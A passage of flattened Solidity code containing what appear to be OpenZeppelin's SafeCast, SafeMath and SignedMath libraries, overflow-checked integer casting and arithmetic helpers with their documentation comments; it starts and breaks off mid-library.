     * Counterpart to Solidity's `int16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v3.1._
     */
    function toInt16(int256 value) internal pure returns (int16 downcasted) {
        downcasted = int16(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
    }

    /**
     * @dev Returns the downcasted int8 from int256, reverting on
     * overflow (when the input is less than smallest int8 or
     * greater than largest int8).
     *
     * Counterpart to Solidity's `int8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v3.1._
     */
    function toInt8(int256 value) internal pure returns (int8 downcasted) {
        downcasted = int8(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
    }

    /**
     * @dev Converts an unsigned uint256 into a signed int256.
     *
     * Requirements:
     *
     * - input must be less than or equal to maxInt256.
     *
     * _Available since v3.0._
     */
    function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        require(
            value <= uint256(type(int256).max),
            "SafeCast: value doesn't fit in an int256"
        );
        return int256(value);
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
    /**
     * @dev Returns the downcasted uint248 from uint256, reverting on
     * overflow (when the input is greater than largest uint248).
     *
     * Counterpart to Solidity's `uint248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toUint248(uint256 value) internal pure returns (uint248) {
        require(
            value <= type(uint248).max,
            "SafeCast: value doesn't fit in 248 bits"
        );
        return uint248(value);
    }

    /**
     * @dev Returns the downcasted uint240 from uint256, reverting on
     * overflow (when the input is greater than largest uint240).
     *
     * Counterpart to Solidity's `uint240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toUint240(uint256 value) internal pure returns (uint240) {
        require(
            value <= type(uint240).max,
            "SafeCast: value doesn't fit in 240 bits"
        );
        return uint240(value);
    }

    /**
     * @dev Returns the downcasted uint232 from uint256, reverting on
     * overflow (when the input is greater than largest uint232).
     *
     * Counterpart to Solidity's `uint232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toUint232(uint256 value) internal pure returns (uint232) {
        require(
            value <= type(uint232).max,
            "SafeCast: value doesn't fit in 232 bits"
        );
        return uint232(value);
    }

    /**
     * @dev Returns the downcasted uint224 from uint256, reverting on
     * overflow (when the input is greater than largest uint224).
     *
     * Counterpart to Solidity's `uint224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.2._
     */
    function toUint224(uint256 value) internal pure returns (uint224) {
        require(
            value <= type(uint224).max,
            "SafeCast: value doesn't fit in 224 bits"
        );
        return uint224(value);
    }

    /**
     * @dev Returns the downcasted uint216 from uint256, reverting on
     * overflow (when the input is greater than largest uint216).
     *
     * Counterpart to Solidity's `uint216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toUint216(uint256 value) internal pure returns (uint216) {
        require(
            value <= type(uint216).max,
            "SafeCast: value doesn't fit in 216 bits"
        );
        return uint216(value);
    }

    /**
     * @dev Returns the downcasted uint208 from uint256, reverting on
     * overflow (when the input is greater than largest uint208).
     *
     * Counterpart to Solidity's `uint208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toUint208(uint256 value) internal pure returns (uint208) {
        require(
            value <= type(uint208).max,
            "SafeCast: value doesn't fit in 208 bits"
        );
        return uint208(value);
    }

    /**
     * @dev Returns the downcasted uint200 from uint256, reverting on
     * overflow (when the input is greater than largest uint200).
     *
     * Counterpart to Solidity's `uint200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toUint200(uint256 value) internal pure returns (uint200) {
        require(
            value <= type(uint200).max,
            "SafeCast: value doesn't fit in 200 bits"
        );
        return uint200(value);
    }

    /**
     * @dev Returns the downcasted uint192 from uint256, reverting on
     * overflow (when the input is greater than largest uint192).
     *
     * Counterpart to Solidity's `uint192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toUint192(uint256 value) internal pure returns (uint192) {
        require(
            value <= type(uint192).max,
            "SafeCast: value doesn't fit in 192 bits"
        );
        return uint192(value);
    }

    /**
     * @dev Returns the downcasted uint184 from uint256, reverting on
     * overflow (when the input is greater than largest uint184).
     *
     * Counterpart to Solidity's `uint184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toUint184(uint256 value) internal pure returns (uint184) {
        require(
            value <= type(uint184).max,
            "SafeCast: value doesn't fit in 184 bits"
        );
        return uint184(value);
    }

    /**
     * @dev Returns the downcasted uint176 from uint256, reverting on
     * overflow (when the input is greater than largest uint176).
     *
     * Counterpart to Solidity's `uint176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toUint176(uint256 value) internal pure returns (uint176) {
        require(
            value <= type(uint176).max,
            "SafeCast: value doesn't fit in 176 bits"
        );
        return uint176(value);
    }

    /**
     * @dev Returns the downcasted uint168 from uint256, reverting on
     * overflow (when the input is greater than largest uint168).
     *
     * Counterpart to Solidity's `uint168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toUint168(uint256 value) internal pure returns (uint168) {
        require(
            value <= type(uint168).max,
            "SafeCast: value doesn't fit in 168 bits"
        );
        return uint168(value);
    }

    /**
     * @dev Returns the downcasted uint160 from uint256, reverting on
     * overflow (when the input is greater than largest uint160).
     *
     * Counterpart to Solidity's `uint160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toUint160(uint256 value) internal pure returns (uint160) {
        require(
            value <= type(uint160).max,
            "SafeCast: value doesn't fit in 160 bits"
        );
        return uint160(value);
    }

    /**
     * @dev Returns the downcasted uint152 from uint256, reverting on
     * overflow (when the input is greater than largest uint152).
     *
     * Counterpart to Solidity's `uint152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toUint152(uint256 value) internal pure returns (uint152) {
        require(
            value <= type(uint152).max,
            "SafeCast: value doesn't fit in 152 bits"
        );
        return uint152(value);
    }

    /**
     * @dev Returns the downcasted uint144 from uint256, reverting on
     * overflow (when the input is greater than largest uint144).
     *
     * Counterpart to Solidity's `uint144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toUint144(uint256 value) internal pure returns (uint144) {
        require(
            value <= type(uint144).max,
            "SafeCast: value doesn't fit in 144 bits"
        );
        return uint144(value);
    }

    /**
     * @dev Returns the downcasted uint136 from uint256, reverting on
     * overflow (when the input is greater than largest uint136).
     *
     * Counterpart to Solidity's `uint136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toUint136(uint256 value) internal pure returns (uint136) {
        require(
            value <= type(uint136).max,
            "SafeCast: value doesn't fit in 136 bits"
        );
        return uint136(value);
    }

    /**
     * @dev Returns the downcasted uint128 from uint256, reverting on
     * overflow (when the input is greater than largest uint128).
     *
     * Counterpart to Solidity's `uint128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v2.5._
     */
    function toUint128(uint256 value) internal pure returns (uint128) {
        require(
            value <= type(uint128).max,
            "SafeCast: value doesn't fit in 128 bits"
        );
        return uint128(value);
    }

    /**
     * @dev Returns the downcasted uint120 from uint256, reverting on
     * overflow (when the input is greater than largest uint120).
     *
     * Counterpart to Solidity's `uint120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toUint120(uint256 value) internal pure returns (uint120) {
        require(
            value <= type(uint120).max,
            "SafeCast: value doesn't fit in 120 bits"
        );
        return uint120(value);
    }

    /**
     * @dev Returns the downcasted uint112 from uint256, reverting on
     * overflow (when the input is greater than largest uint112).
     *
     * Counterpart to Solidity's `uint112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toUint112(uint256 value) internal pure returns (uint112) {
        require(
            value <= type(uint112).max,
            "SafeCast: value doesn't fit in 112 bits"
        );
        return uint112(value);
    }

    /**
     * @dev Returns the downcasted uint104 from uint256, reverting on
     * overflow (when the input is greater than largest uint104).
     *
     * Counterpart to Solidity's `uint104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toUint104(uint256 value) internal pure returns (uint104) {
        require(
            value <= type(uint104).max,
            "SafeCast: value doesn't fit in 104 bits"
        );
        return uint104(value);
    }

    /**
     * @dev Returns the downcasted uint96 from uint256, reverting on
     * overflow (when the input is greater than largest uint96).
     *
     * Counterpart to Solidity's `uint96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.2._
     */
    function toUint96(uint256 value) internal pure returns (uint96) {
        require(
            value <= type(uint96).max,
            "SafeCast: value doesn't fit in 96 bits"
        );
        return uint96(value);
    }

    /**
     * @dev Returns the downcasted uint88 from uint256, reverting on
     * overflow (when the input is greater than largest uint88).
     *
     * Counterpart to Solidity's `uint88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toUint88(uint256 value) internal pure returns (uint88) {
        require(
            value <= type(uint88).max,
            "SafeCast: value doesn't fit in 88 bits"
        );
        return uint88(value);
    }

    /**
     * @dev Returns the downcasted uint80 from uint256, reverting on
     * overflow (when the input is greater than largest uint80).
     *
     * Counterpart to Solidity's `uint80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toUint80(uint256 value) internal pure returns (uint80) {
        require(
            value <= type(uint80).max,
            "SafeCast: value doesn't fit in 80 bits"
        );
        return uint80(value);
    }

    /**
     * @dev Returns the downcasted uint72 from uint256, reverting on
     * overflow (when the input is greater than largest uint72).
     *
     * Counterpart to Solidity's `uint72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toUint72(uint256 value) internal pure returns (uint72) {
        require(
            value <= type(uint72).max,
            "SafeCast: value doesn't fit in 72 bits"
        );
        return uint72(value);
    }

    /**
     * @dev Returns the downcasted uint64 from uint256, reverting on
     * overflow (when the input is greater than largest uint64).
     *
     * Counterpart to Solidity's `uint64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v2.5._
     */
    function toUint64(uint256 value) internal pure returns (uint64) {
        require(
            value <= type(uint64).max,
            "SafeCast: value doesn't fit in 64 bits"
        );
        return uint64(value);
    }

    /**
     * @dev Returns the downcasted uint56 from uint256, reverting on
     * overflow (when the input is greater than largest uint56).
     *
     * Counterpart to Solidity's `uint56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toUint56(uint256 value) internal pure returns (uint56) {
        require(
            value <= type(uint56).max,
            "SafeCast: value doesn't fit in 56 bits"
        );
        return uint56(value);
    }

    /**
     * @dev Returns the downcasted uint48 from uint256, reverting on
     * overflow (when the input is greater than largest uint48).
     *
     * Counterpart to Solidity's `uint48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toUint48(uint256 value) internal pure returns (uint48) {
        require(
            value <= type(uint48).max,
            "SafeCast: value doesn't fit in 48 bits"
        );
        return uint48(value);
    }

    /**
     * @dev Returns the downcasted uint40 from uint256, reverting on
     * overflow (when the input is greater than largest uint40).
     *
     * Counterpart to Solidity's `uint40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toUint40(uint256 value) internal pure returns (uint40) {
        require(
            value <= type(uint40).max,
            "SafeCast: value doesn't fit in 40 bits"
        );
        return uint40(value);
    }

    /**
     * @dev Returns the downcasted uint32 from uint256, reverting on
     * overflow (when the input is greater than largest uint32).
     *
     * Counterpart to Solidity's `uint32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v2.5._
     */
    function toUint32(uint256 value) internal pure returns (uint32) {
        require(
            value <= type(uint32).max,
            "SafeCast: value doesn't fit in 32 bits"
        );
        return uint32(value);
    }

    /**
     * @dev Returns the downcasted uint24 from uint256, reverting on
     * overflow (when the input is greater than largest uint24).
     *
     * Counterpart to Solidity's `uint24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toUint24(uint256 value) internal pure returns (uint24) {
        require(
            value <= type(uint24).max,
            "SafeCast: value doesn't fit in 24 bits"
        );
        return uint24(value);
    }

    /**
     * @dev Returns the downcasted uint16 from uint256, reverting on
     * overflow (when the input is greater than largest uint16).
     *
     * Counterpart to Solidity's `uint16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v2.5._
     */
    function toUint16(uint256 value) internal pure returns (uint16) {
        require(
            value <= type(uint16).max,
            "SafeCast: value doesn't fit in 16 bits"
        );
        return uint16(value);
    }

    /**
     * @dev Returns the downcasted uint8 from uint256, reverting on
     * overflow (when the input is greater than largest uint8).
     *
     * Counterpart to Solidity's `uint8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v2.5._
     */
    function toUint8(uint256 value) internal pure returns (uint8) {
        require(
            value <= type(uint8).max,
            "SafeCast: value doesn't fit in 8 bits"
        );
        return uint8(value);
    }

    /**
     * @dev Converts a signed int256 into an unsigned uint256.
     *
     * Requirements:
     *
     * - input must be greater than or equal to 0.
     *
     * _Available since v3.0._
     */
    function toUint256(int256 value) internal pure returns (uint256) {
        require(value >= 0, "SafeCast: value must be positive");
        return uint256(value);
    }

    /**
     * @dev Returns the downcasted int248 from int256, reverting on
     * overflow (when the input is less than smallest int248 or
     * greater than largest int248).
     *
     * Counterpart to Solidity's `int248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toInt248(int256 value) internal pure returns (int248 downcasted) {
        downcasted = int248(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
    }

    /**
     * @dev Returns the downcasted int240 from int256, reverting on
     * overflow (when the input is less than smallest int240 or
     * greater than largest int240).
     *
     * Counterpart to Solidity's `int240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toInt240(int256 value) internal pure returns (int240 downcasted) {
        downcasted = int240(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
    }

    /**
     * @dev Returns the downcasted int232 from int256, reverting on
     * overflow (when the input is less than smallest int232 or
     * greater than largest int232).
     *
     * Counterpart to Solidity's `int232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toInt232(int256 value) internal pure returns (int232 downcasted) {
        downcasted = int232(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
    }

    /**
     * @dev Returns the downcasted int224 from int256, reverting on
     * overflow (when the input is less than smallest int224 or
     * greater than largest int224).
     *
     * Counterpart to Solidity's `int224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.7._
     */
    function toInt224(int256 value) internal pure returns (int224 downcasted) {
        downcasted = int224(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
    }

    /**
     * @dev Returns the downcasted int216 from int256, reverting on
     * overflow (when the input is less than smallest int216 or
     * greater than largest int216).
     *
     * Counterpart to Solidity's `int216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toInt216(int256 value) internal pure returns (int216 downcasted) {
        downcasted = int216(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
    }

    /**
     * @dev Returns the downcasted int208 from int256, reverting on
     * overflow (when the input is less than smallest int208 or
     * greater than largest int208).
     *
     * Counterpart to Solidity's `int208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toInt208(int256 value) internal pure returns (int208 downcasted) {
        downcasted = int208(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
    }

    /**
     * @dev Returns the downcasted int200 from int256, reverting on
     * overflow (when the input is less than smallest int200 or
     * greater than largest int200).
     *
     * Counterpart to Solidity's `int200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toInt200(int256 value) internal pure returns (int200 downcasted) {
        downcasted = int200(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
    }

    /**
     * @dev Returns the downcasted int192 from int256, reverting on
     * overflow (when the input is less than smallest int192 or
     * greater than largest int192).
     *
     * Counterpart to Solidity's `int192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toInt192(int256 value) internal pure returns (int192 downcasted) {
        downcasted = int192(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
    }

    /**
     * @dev Returns the downcasted int184 from int256, reverting on
     * overflow (when the input is less than smallest int184 or
     * greater than largest int184).
     *
     * Counterpart to Solidity's `int184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toInt184(int256 value) internal pure returns (int184 downcasted) {
        downcasted = int184(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
    }

    /**
     * @dev Returns the downcasted int176 from int256, reverting on
     * overflow (when the input is less than smallest int176 or
     * greater than largest int176).
     *
     * Counterpart to Solidity's `int176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toInt176(int256 value) internal pure returns (int176 downcasted) {
        downcasted = int176(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
    }

    /**
     * @dev Returns the downcasted int168 from int256, reverting on
     * overflow (when the input is less than smallest int168 or
     * greater than largest int168).
     *
     * Counterpart to Solidity's `int168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toInt168(int256 value) internal pure returns (int168 downcasted) {
        downcasted = int168(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
    }

    /**
     * @dev Returns the downcasted int160 from int256, reverting on
     * overflow (when the input is less than smallest int160 or
     * greater than largest int160).
     *
     * Counterpart to Solidity's `int160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toInt160(int256 value) internal pure returns (int160 downcasted) {
        downcasted = int160(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
    }

    /**
     * @dev Returns the downcasted int152 from int256, reverting on
     * overflow (when the input is less than smallest int152 or
     * greater than largest int152).
     *
     * Counterpart to Solidity's `int152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toInt152(int256 value) internal pure returns (int152 downcasted) {
        downcasted = int152(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
    }

    /**
     * @dev Returns the downcasted int144 from int256, reverting on
     * overflow (when the input is less than smallest int144 or
     * greater than largest int144).
     *
     * Counterpart to Solidity's `int144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toInt144(int256 value) internal pure returns (int144 downcasted) {
        downcasted = int144(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
    }

    /**
     * @dev Returns the downcasted int136 from int256, reverting on
     * overflow (when the input is less than smallest int136 or
     * greater than largest int136).
     *
     * Counterpart to Solidity's `int136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toInt136(int256 value) internal pure returns (int136 downcasted) {
        downcasted = int136(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
    }

    /**
     * @dev Returns the downcasted int128 from int256, reverting on
     * overflow (when the input is less than smallest int128 or
     * greater than largest int128).
     *
     * Counterpart to Solidity's `int128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v3.1._
     */
    function toInt128(int256 value) internal pure returns (int128 downcasted) {
        downcasted = int128(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
    }

    /**
     * @dev Returns the downcasted int120 from int256, reverting on
     * overflow (when the input is less than smallest int120 or
     * greater than largest int120).
     *
     * Counterpart to Solidity's `int120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toInt120(int256 value) internal pure returns (int120 downcasted) {
        downcasted = int120(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
    }

    /**
     * @dev Returns the downcasted int112 from int256, reverting on
     * overflow (when the input is less than smallest int112 or
     * greater than largest int112).
     *
     * Counterpart to Solidity's `int112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toInt112(int256 value) internal pure returns (int112 downcasted) {
        downcasted = int112(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
    }

    /**
     * @dev Returns the downcasted int104 from int256, reverting on
     * overflow (when the input is less than smallest int104 or
     * greater than largest int104).
     *
     * Counterpart to Solidity's `int104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toInt104(int256 value) internal pure returns (int104 downcasted) {
        downcasted = int104(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
    }

    /**
     * @dev Returns the downcasted int96 from int256, reverting on
     * overflow (when the input is less than smallest int96 or
     * greater than largest int96).
     *
     * Counterpart to Solidity's `int96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.7._
     */
    function toInt96(int256 value) internal pure returns (int96 downcasted) {
        downcasted = int96(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
    }

    /**
     * @dev Returns the downcasted int88 from int256, reverting on
     * overflow (when the input is less than smallest int88 or
     * greater than largest int88).
     *
     * Counterpart to Solidity's `int88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toInt88(int256 value) internal pure returns (int88 downcasted) {
        downcasted = int88(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
    }

    /**
     * @dev Returns the downcasted int80 from int256, reverting on
     * overflow (when the input is less than smallest int80 or
     * greater than largest int80).
     *
     * Counterpart to Solidity's `int80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toInt80(int256 value) internal pure returns (int80 downcasted) {
        downcasted = int80(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
    }

    /**
     * @dev Returns the downcasted int72 from int256, reverting on
     * overflow (when the input is less than smallest int72 or
     * greater than largest int72).
     *
     * Counterpart to Solidity's `int72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toInt72(int256 value) internal pure returns (int72 downcasted) {
        downcasted = int72(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
    }

    /**
     * @dev Returns the downcasted int64 from int256, reverting on
